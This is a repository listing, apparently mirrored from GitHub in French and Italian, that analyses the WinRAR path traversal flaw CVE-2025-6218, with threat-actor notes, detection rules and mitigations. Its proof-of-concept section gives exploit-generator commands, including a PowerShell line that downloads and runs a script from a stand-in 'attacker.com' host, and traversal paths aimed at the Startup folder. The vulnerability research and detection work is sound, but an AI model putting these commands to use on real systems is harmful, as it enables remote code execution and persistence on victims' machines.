Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-6218-WinRAR-RCE-POC — Analyse complète et preuve de concept pour CVE-2025-6218 - vulnérabilité de type Path Traversal et RCE dans WinRAR affectant les versions 7.11 et antérieures | Kitploit
Outils/GitHubGitHub/chrxstxqn/cve-2025-6218-winrar-rce-poc
Outils de PhishingMécanismes de PersistanceAnalyse des VulnérabilitésExploitationMouvement LatéralAnalyse de MalwareTests d'IntrusionApprentissage et ÉducationExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubchrxstxqn/cve-2025-6218-winrar-rce-poc

CVE-2025-6218-WinRAR-RCE-POC

Analyse complète et preuve de concept pour CVE-2025-6218 - vulnérabilité de type Path Traversal et RCE dans WinRAR affectant les versions 7.11 et antérieures

Voir le dépôt
21il y a 8 moisPas encore vérifié

CVE-2025-6218: WinRAR Path Traversal RCE

CVE CVSS Score Platform License Status

⚠️ VULNÉRABILITÉ CRITIQUE - Exploitation active confirmée

CVE-2025-6218 est une vulnérabilité critique de path traversal dans WinRAR qui permet l'exécution de code arbitraire. Actuellement exploitée par des groupes APT comme GOFFEE, Bitter (APT-C-08) et Gamaredon.


📋 Table des matières

  • Aperçu
  • Description technique
  • Mécanisme d'exploitation
  • Versions vulnérables
  • Scénarios d'attaque
  • Acteurs de la menace
  • Preuve de concept
  • Détection et indicateurs de compromission
  • Mesures d'atténuation
  • Chronologie
  • Structure du dépôt
  • Références

🎯 Aperçu

CVE-2025-6218 est une vulnérabilité CRITIQUE de path traversal dans WinRAR pour Windows qui permet aux attaquants d'exécuter du code arbitraire.

Impact principal

Pourquoi est-ce dangereux ?

Un attaquant peut :

  • ✅ Placer des fichiers dans des dossiers sensibles (Démarrage, System32)
  • ✅ Exécuter du code au démarrage du système
  • ✅ Établir une persistance sans privilèges élevés
  • ✅ Contourner les antivirus (abus d'outils légitimes)
  • ✅ Mouvement latéral dans les réseaux d'entreprise

🔍 Description technique

Qu'est-ce que la vulnérabilité ?

WinRAR ne valide pas correctement les chemins des fichiers à l'intérieur d'archives .rar spécialisées. Lorsqu'un utilisateur extrait une archive malformée, les fichiers peuvent être écrits dans des chemins arbitraires en dehors du dossier d'extraction prévu en utilisant des séquences de path traversal (../ ou ..\\).

Cause racine - Le bogue```c

// Pseudocodice - WinRAR v7.11 (VULNERABILE) void extract_file(rar_entry *entry, char *dest_dir) { char final_path[MAX_PATH];

root@kitploit:~
strcpy(final_path, dest_dir);         // "C:\\Temp\\"
strcat(final_path, entry->filename);  // + "..\\..\\..\\Windows\\System32\\malware.exe"

// ❌ ERRORE: Nessuna validazione del path traversal!
// final_path = "C:\\Temp\\..\\..\\..\\Windows\\System32\\malware.exe"
// Risolto come: "C:\\Windows\\System32\\malware.exe" ← EXPLOIT!

create_file(final_path);  // File creato in directory non intesa

}

root@kitploit:~
### Protections absentes dans v7.11

- ❌ Aucun contrôle si le fichier reste dans `dest_dir`
- ❌ Aucun filtre sur les séquences `..` ou `.`
- ❌ Aucune normalisation des chemins
- ❌ Aucune liste blanche de répertoires autorisés
- ❌ Aucune validation de confinement

### Le correctif dans v7.12```c
// WinRAR v7.12 (PATCHED)
bool is_path_contained(char *path, char *base_dir) {
    char canonical[MAX_PATH], canonical_base[MAX_PATH];
    
    // Normalizza entrambi i percorsi
    GetFullPathName(path, MAX_PATH, canonical, NULL);
    GetFullPathName(base_dir, MAX_PATH, canonical_base, NULL);
    
    // Verifica contenimento
    if (strncmp(canonical, canonical_base, strlen(canonical_base)) != 0) {
        return false;  // Path esce dalla directory base
    }
    return true;
}

void extract_file_safe(rar_entry *entry, char *dest_dir) {
    char final_path[MAX_PATH];
    strcpy(final_path, dest_dir);
    strcat(final_path, entry->filename);
    
    // ✅ FIX: Verifica che il file rimane dentro dest_dir
    if (!is_path_contained(final_path, dest_dir)) {
        skip_extraction();  // Rifiuta estrazione
        log_error("Path traversal detected!");
        return;
    }
    
    create_file(final_path);  // Adesso sicuro
}

💥 Mécanisme d'Exploit

Path Traversal Explained```

Cartella di Estrazione: C:\Temp\Extract

Path nel RAR (craft): ..\..\..\..\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat

Risoluzione Path: C:\Temp\Extract\.. = C:\Temp\ C:\Temp\.. = C:\ C:\.. = C:\ (non può andare oltre)

  • Users\\...\Startup\payload.bat

= C:\Users\\AppData\Roaming\...\Startup\payload.bat ✓

root@kitploit:~
### Schéma du flux d'attaque```
┌─────────────────────────────────────────────┐
│  1. Attaccante crea RAR con path craft     │
│     es: ..\\..\\..\\Startup\\malware.bat   │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  2. Distribuzione via spear-phishing        │
│     Email mirata con allegato RAR          │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  3. Vittima estrae archivio con WinRAR     │
│     (versione ≤ 7.11)                       │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  4. WinRAR non valida path traversal       │
│     File estratto in Startup folder         │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  5. Al boot: payload eseguito              │
│     RAT stabilisce C2 connection            │
└─────────────────────────────────────────────┘

🔴 Versions Vulnérables

Tableau de Compatibilité

Comment Vérifier Votre Version```powershell

Metodo 1: PowerShell

(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion

Output:

7.11.0.0 → 🔴 VULNERABILE ⚠️

7.12.0.0 → 🟢 SAFE ✓

Metodo 2: CMD

wmic datafile where name="C:\\Program Files\\WinRAR\\WinRAR.exe" get Version

Metodo 3: GUI

WinRAR → Help → About WinRAR → Verifica versione

root@kitploit:~
---

## 🌍 Scénarios d'Attaque

### Scénario 1 : Bitter/APT-C-08 Spear-Phishing (CONFIRMÉ ACTIF)

**Objectif** : Gouvernement, organisations militaires, institutions stratégiques```
Email Phishing:
  From: [email protected]
  Subject: "Provision of Information for Sectoral for AJK.rar"
  Attachment: Provision_of_Information.rar

Contenuto Archive:
  ├── Document.docx (esca legittima - report convincente)
  └── ..\\..\\..\\..\\Users\\User\\AppData\\Roaming\\Microsoft\\Office\\STARTUP\\Template.dotm
      (macro malato nascosto)

Esecuzione:
  1. Vittima estrae RAR
  2. WinRAR non valida path → Template.dotm finisce in Office STARTUP
  3. Prossimo avvio Word → Macro eseguita automaticamente
  4. PowerShell downloader attivato
  5. C# Trojan scaricato: WmRAT, MiyaRAT, ZxxZ
  6. C2 Server: johnfashionaccess.com
  7. Capabilities:
     - Keylogging
     - Screenshot capture
     - RDP credential stealing
     - File exfiltration
     - Lateral movement

Scénario 2: GOFFEE Charge utile multi-étapes

Objectif: Organisations gouvernementales russes``` RAR specializzato: ├── run.bat (path: ..\..\..\..\Windows\Startup\run.bat) └── legitimate_document.pdf (esca)

Attack Chain:

  1. Estrazione RAR → run.bat finisce in Startup
  2. Al prossimo boot → run.bat eseguito
  3. PowerShell script scarica stage 2
  4. C# Custom Trojan installato
  5. RAT stabilisce C2 persistente
  6. Full system control achieved
root@kitploit:~
### Scénario 3: Ransomware Delivery```
RAR Weaponized:
  └── locker.exe (path: ..\\..\\..\\Startup\\locker.exe)

Infezione:
  1. Estrazione RAR
  2. locker.exe → Startup folder
  3. Sistema reboota (naturale o forzato)
  4. locker.exe eseguito con diritti user
  5. File system encryption
  6. Ransom note displayed
  7. Bitcoin payment richiesto

🎭 Threat Actors

GOFFEE (Paper Werewolf) 🇷🇺

  • Origine: Russie
  • Première apparition: Juillet 2025
  • Objectifs: Organisations gouvernementales russes
  • Méthode: CVE-2025-6218 + CVE-2025-8088 (NTFS ADS)
  • Payload: C# Custom Trojan
  • TTP: Infection multi-étapes, abus NTFS ADS

Bitter / APT-C-08 / Manlinghua 🇵🇰

  • Origine: Asie du Sud
  • Première apparition: Août 2025
  • Objectifs: Gouvernement, Militaire, Organisations stratégiques
  • Méthode: Spear-phishing avec RAR + modèle de macro
  • Payload: WmRAT, MiyaRAT, ZxxZ
  • C2: johnfashionaccess.com
  • TTP: Ingénierie sociale, abus de macro Office
  • Statut: 🔴 CAMPAGNE ACTIVE

Gamaredon 🇷🇺

  • Origine: Russie (APT aligné sur le FSB)
  • Première apparition: Novembre 2025
  • Objectifs: Gouvernement ukrainien
  • Payload: GamaWiper (destruction de données)
  • Type: Cyber-sabotage + espionnage
  • TTP: Distribution de masse, déploiement de wiper

🧪 Proof of Concept

Prérequis```

✅ Windows VM (10, 11, Server) ✅ WinRAR versione ≤ 7.11 installato ✅ Network isolato (no internet - safety first!) ✅ Snapshot VM per rollback ✅ Admin access per testing

root@kitploit:~
### Mise en place de l'environnement de laboratoire```powershell
# 1. Crea VM Windows pulita
# 2. Installa WinRAR 7.11
winget install RARLab.WinRAR --version 7.11

# 3. Verifica versione
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output: 7.11.0.0 ✓

# 4. Disabilita network
Set-NetAdapter -Name "Ethernet" -Enabled $false

# 5. Crea snapshot
# VM → Snapshot → "Clean WinRAR 7.11 Vulnerable"

Démarrage rapide POC```bash

1. Clone questa repository

git clone https://github.com/Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC.git cd CVE-2025-6218-WinRAR-RCE-POC

2. Genera exploit archive

python3 exploit/generate_rar.py
--target startup
--payload calc.exe
--output exploit_poc.zip

Output:

[+] Target location: startup

[+] Traversal path: ..\..\..\..\Users\{user}\AppData\...\Startup

[+] Created: exploit_poc.zip

3. Trasferisci exploit_poc.zip su VM vulnerabile

4. Su VM target:

- Right-click exploit_poc.zip

- Extract to C:\

- WinRAR estrae file

5. Verifica exploit success

ls "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

Dovrebbe mostrare: calc.exe ← PATH TRAVERSAL RIUSCITO!

6. Reboot VM

shutdown /r /t 0

7. Al login: calc.exe eseguito automaticamente ✓

root@kitploit:~
### Utilisation du générateur d'exploit```bash
# Genera payload per Startup folder
python3 exploit/generate_rar.py --target startup --payload shell.bat

# Genera payload per System32 (richiede admin)
python3 exploit/generate_rar.py --target system32 --payload malware.exe

# Genera con custom batch command
python3 exploit/generate_rar.py \
  --target startup \
  --payload dropper.bat \
  --batch "powershell -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

# Targets disponibili:
# - startup    : Auto-execution at login
# - system32   : System directory (needs admin)
# - appdata    : User AppData
# - documents  : User Documents
# - temp       : User Temp folder

🔎 Detection & IOC

File System Indicators```powershell

Monitor creazione file in Startup

Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Recurse -File | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }

Check for suspicious Office templates

Get-ChildItem "$env:APPDATA\Microsoft\Office" -Include ".dotm",".xlsm" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }

Monitor System32 creation (requires admin)

Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='ObjectName'] and contains(., 'System32')]]" -MaxEvents 100

root@kitploit:~
### Exécution de processus```powershell
# Verifica processi in esecuzione da Startup
Get-WmiObject Win32_Process | Where-Object {
    $_.ExecutablePath -like "*Startup*"
} | Select-Object Name, ExecutablePath, ProcessId

# Monitor WinRAR extraction con Sysmon (Event ID 11: File Created)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]] and *[EventData[Data[@Name='Image'] and contains(., 'WinRAR')]]" -MaxEvents 50

Network IOCs (C2 Domains)```

johnfashionaccess.com (Bitter/APT-C-08) [additional IOCs from CISA KEV]

root@kitploit:~
### Indicateurs d'Email```
Subject patterns:
  - "Provision of Information"
  - "Sectoral for AJK"
  - Government-related keywords
  
Senders:
  - [email protected]
  - Free email providers (Gmail, Outlook)
  
Attachments:
  - .RAR files da external senders
  - Legitimate-looking document names

Règle YARA```yara

rule CVE_2025_6218_WinRAR_PathTraversal { meta: description = "Detect RAR archives with path traversal sequences" author = "Christian Schito" date = "2025-12-15" cve = "CVE-2025-6218"

root@kitploit:~
strings:
    $rar_sig = { 52 61 72 21 }  // "Rar!" signature
    $traversal1 = "..\\" ascii wide
    $traversal2 = "../" ascii wide
    $startup = "Startup" ascii wide nocase
    $system32 = "System32" ascii wide nocase
    
condition:
    $rar_sig at 0 and 
    (#traversal1 > 3 or #traversal2 > 3) and
    ($startup or $system32)

}

root@kitploit:~
---

## 🛡️ Atténuations

### 🔴 PATCH IMMÉDIAT (CRITIQUE)```powershell
# Verifica versione attuale
$version = (Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
if ($version -le "7.11.0.0") {
    Write-Host "🔴 VULNERABILE! Update richiesto!" -ForegroundColor Red
} else {
    Write-Host "🟢 SAFE - Versione $version patched" -ForegroundColor Green
}

# Download WinRAR 7.12+
# https://www.rarlab.com/rar_add.htm

# Deploy aziendale (SCCM/Intune)
msiexec /i WinRAR-x64-721.msi /quiet /norestart

# Verifica post-update
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Dovrebbe essere ≥ 7.12.0.0

Défense en profondeur

Sécurité des emails```

✅ Blocca .RAR da external domains ✅ Quarantine archives per deep scanning ✅ Content disarm and reconstruction (CDR) ✅ Sandboxing di allegati sospetti ✅ YARA rules per detection

root@kitploit:~
#### Protection des points de terminaison```powershell
# Scheduled task per monitoring
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-File C:\Scripts\monitor_startup.ps1'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CVE-2025-6218 Monitor" -Description "Monitor Startup folder for suspicious files"

# Sysmon configuration
# Monitor Event ID 11 (File Created) in sensitive directories

Segmentation réseau```

✅ Separate admin workstations ✅ Block egress to known C2 domains ✅ Monitor for suspicious DNS queries ✅ Implement zero-trust network access

root@kitploit:~
#### Liste blanche des applications```powershell
# AppLocker policy - Block execution from APPDATA\Startup
$rule = New-AppLockerPolicy -RuleType Path -Path "$env:APPDATA\*\Startup\*" -Action Deny -User Everyone
Set-AppLockerPolicy -PolicyObject $rule

Formation des utilisateurs```

✅ Non aprire archivi da email unknown ✅ Verify sender identity prima di aprire attachments ✅ Report suspicious emails al security team ✅ Keep software up-to-date ✅ Use sandboxed environment per file sospetti

root@kitploit:~
---

## 📅 Chronologie

| Date | Événement |
|------|--------|
| **Inconnue** | Vulnérabilité découverte |
| **Juin 2025** | RARLAB publie WinRAR 7.12 avec correctif |
| **Juillet 2025** | GOFFEE (Paper Werewolf) commence l'exploitation active |
| **Août 2025** | BI.ZONE publie une analyse technique détaillée |
| **Septembre 2025** | Bitter/APT-C-08 confirmé dans des campagnes de spear-phishing |
| **Novembre 2025** | Gamaredon exploitation confirmée contre l'Ukraine |
| **9 Décembre 2025** | 🔴 **CISA ajoute CVE-2025-6218 au catalogue KEV** |
| **30 Décembre 2025** | Échéance du correctif obligatoire pour les agences fédérales américaines |

---

## 📁 Structure du dépôt```
CVE-2025-6218-WinRAR-RCE-POC/
├── README.md                           # Questa guida completa
├── LICENSE                             # MIT License
├── docs/
│   ├── TECHNICAL_ANALYSIS.md          # Deep dive tecnico
│   ├── DETECTION.md                   # Forensics & IOC
│   ├── IOC_INDICATORS.md              # Indicators of Compromise
│   └── SETUP.md                       # Lab setup guide
├── exploit/
│   ├── generate_rar.py                # POC exploit generator (Python)
│   ├── CVE-2025-6218.bat              # Batch script POC
│   └── README.md                      # Exploit usage guide
├── tools/
│   ├── detect.ps1                     # Detection PowerShell script
│   ├── check_version.ps1              # Version checker
│   └── monitor_startup.ps1            # Startup folder monitor
└── samples/
    ├── yara_rules.yar                 # YARA detection rules
    └── sysmon_config.xml              # Sysmon configuration

📚 Références

Officiels

  • NVD CVE-2025-6218 - Enregistrement officiel de la vulnérabilité
  • Catalogue KEV de la CISA - Ajouté le 9 décembre 2025
  • Avis de sécurité RARLAB - Téléchargement officiel du correctif

Renseignement sur les menaces

  • Analyse SecPod - Analyse de la campagne APT-C-08
  • Rapport TheHackerNews - Alerte d'exploitation active
  • Analyse RedHotCyber - Avertissement de la CISA (italien)

POCs de la communauté

  • absholi7ly/CVE-2025-6218
  • skimask1690/CVE-2025-6218-POC
  • ignis-sec/CVE-2025-6218

⚠️ Avertissement

⚠️ UTILISATION EXCLUSIVEMENT ÉDUCATIVE ET DE RECHERCHE

Ce dépôt est fourni uniquement à des fins éducatives et de recherche de sécurité autorisée.

NE PAS Utiliser Pour :

  • ❌ Attaques non autorisées sur des systèmes
  • ❌ Accès non autorisé à des ordinateurs
  • ❌ Diffusion de logiciels malveillants
  • ❌ Violation des lois locales ou internationales
  • ❌ Activités illégales de quelque nature que ce soit

UTILISER UNIQUEMENT Sur :

  • ✅ Systèmes vous appartenant
  • ✅ Machines virtuelles isolées autorisées
  • ✅ Environnements de test contrôlés
  • ✅ Avec autorisation écrite explicite
  • ✅ À des fins de recherche légitimes

Responsabilité Légale```

L'autore NON è responsabile per:

  • Uso improprio di questo codice
  • Danni causati da questo software
  • Violazioni di legge commesse usando questo materiale

Usando questo repository, accetti di:

  • Rispettare tutte le leggi applicabili
  • Usare il codice solo per scopi legittimi
  • Assumerti piena responsabilità delle tue azioni
root@kitploit:~
**L'accès non autorisé aux systèmes informatiques est illégal. Vous avez été prévenu.**

---

## 📄 Licence

Licence MIT - Voir [LICENSE](https://github.com/chrxstxqn/cve-2025-6218-winrar-rce-poc/blob/HEAD/LICENSE) pour les détails

---

## 🤝 Contributions

Contributions bienvenues ! Si vous avez :
- 🐛 Rapports de bugs
- 💡 Demandes de fonctionnalités
- 📝 Améliorations de la documentation
- 🔬 IOCs supplémentaires

Ouvrez une **Issue** ou une **Pull Request** !

---

## 📞 Contact

**Auteur** : Christian Schito  
**GitHub** : [@Chrxstxqn](https://github.com/Chrxstxqn)  
**Dernière mise à jour** : 15 décembre 2025  
**Statut** : 🔴 Recherche active - Exploitation confirmée  

---

<div align="center">

**⭐ Si ce dépôt vous est utile, laissez une étoile ! ⭐**

**🔒 Restez en sécurité. Corrigez maintenant. 🔒**

</div>
Télécharger l’outil
AspectDétail
Score CVSS7.8 (Élevé)
Versions vulnérablesWinRAR ≤ 7.11 (Windows uniquement)
PlateformesWindows 10, 11, Server
Utilisateurs concernés~500 millions
Corrigé dansWinRAR 7.12 (Juin 2025)
Statut🔴 Exploitation ACTIVE
CISA KEVAjouté le 9 décembre 2025
VersionÉtatNotes
≤ 7.10🔴 VULNÉRABLETous les exploits fonctionnent
7.11🔴 VULNÉRABLEDernière version vulnérable
7.12 Beta 1+🟢 PATCHEDFix path traversal
7.12+🟢 PATCHEDVersion stable avec correctif
UNIX / Android✅ NOT AFFECTEDVersions non-Windows non concernées